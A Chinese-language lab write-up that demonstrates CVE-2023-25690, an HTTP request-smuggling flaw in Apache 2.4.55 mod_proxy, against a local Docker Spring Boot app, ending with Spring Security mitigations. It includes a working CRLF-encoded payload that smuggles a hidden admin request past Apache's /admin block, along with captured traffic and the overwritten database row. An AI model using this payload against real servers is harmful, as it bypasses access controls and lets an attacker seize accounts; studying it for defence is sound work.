用户 ──► Apache :80（代理）──► Spring Boot :8080（后端）──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690：CRLF 未经过滤
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL：<Location "/admin"> 已阻止

POST /public/register：允许用户在数据库中注册
POST /public/login：通过验证输入的凭据允许登录，并发放会话令牌
GET /public/dashboard：用户专属区域
GET /api/status：接受参数“name”，是用于验证服务状态的示例端点
GET /public/logout

POST /admin/edit/{id}/{newName}/{newPass}：这是一个理论上公众无法访问的路由，允许管理员修改用户数据

$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。

docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

A) GET /service/x                  → 合法部分；/service/ 之后的所有内容
                                      进入 $1（name 参数）

B) %20HTTP/1.1                     → [分割点] 空格提前终止
                                      后端中的 URL

C) %0d%0aHost:...%0d%0a%0d%0a     → [头部注入] CRLF 用于终止
                                      第一个请求

D) POST /admin/edit/1/HACKED/PWNED → [走私请求] 隐藏的
                                      恶意请求指向 admin 端点

E) %20HTTP/1.1                     → 第二个请求的 HTTP 版本

F) %0d%0aContent-Length:%200       → POST 的空请求体
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [头部吸收器] 吸收 Apache
                                      自动添加的头部

GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

--- 请求 1（合法，但被“截断”）---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- 请求 2（走私）---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

>> ... HTTP/1.1 200 ... 服务 'x' 运行正常且稳定。

$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // 验证用户是否具有 ADMIN 角色
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "访问被拒绝";
    }
    // ... 仅在认证检查后允许操作
}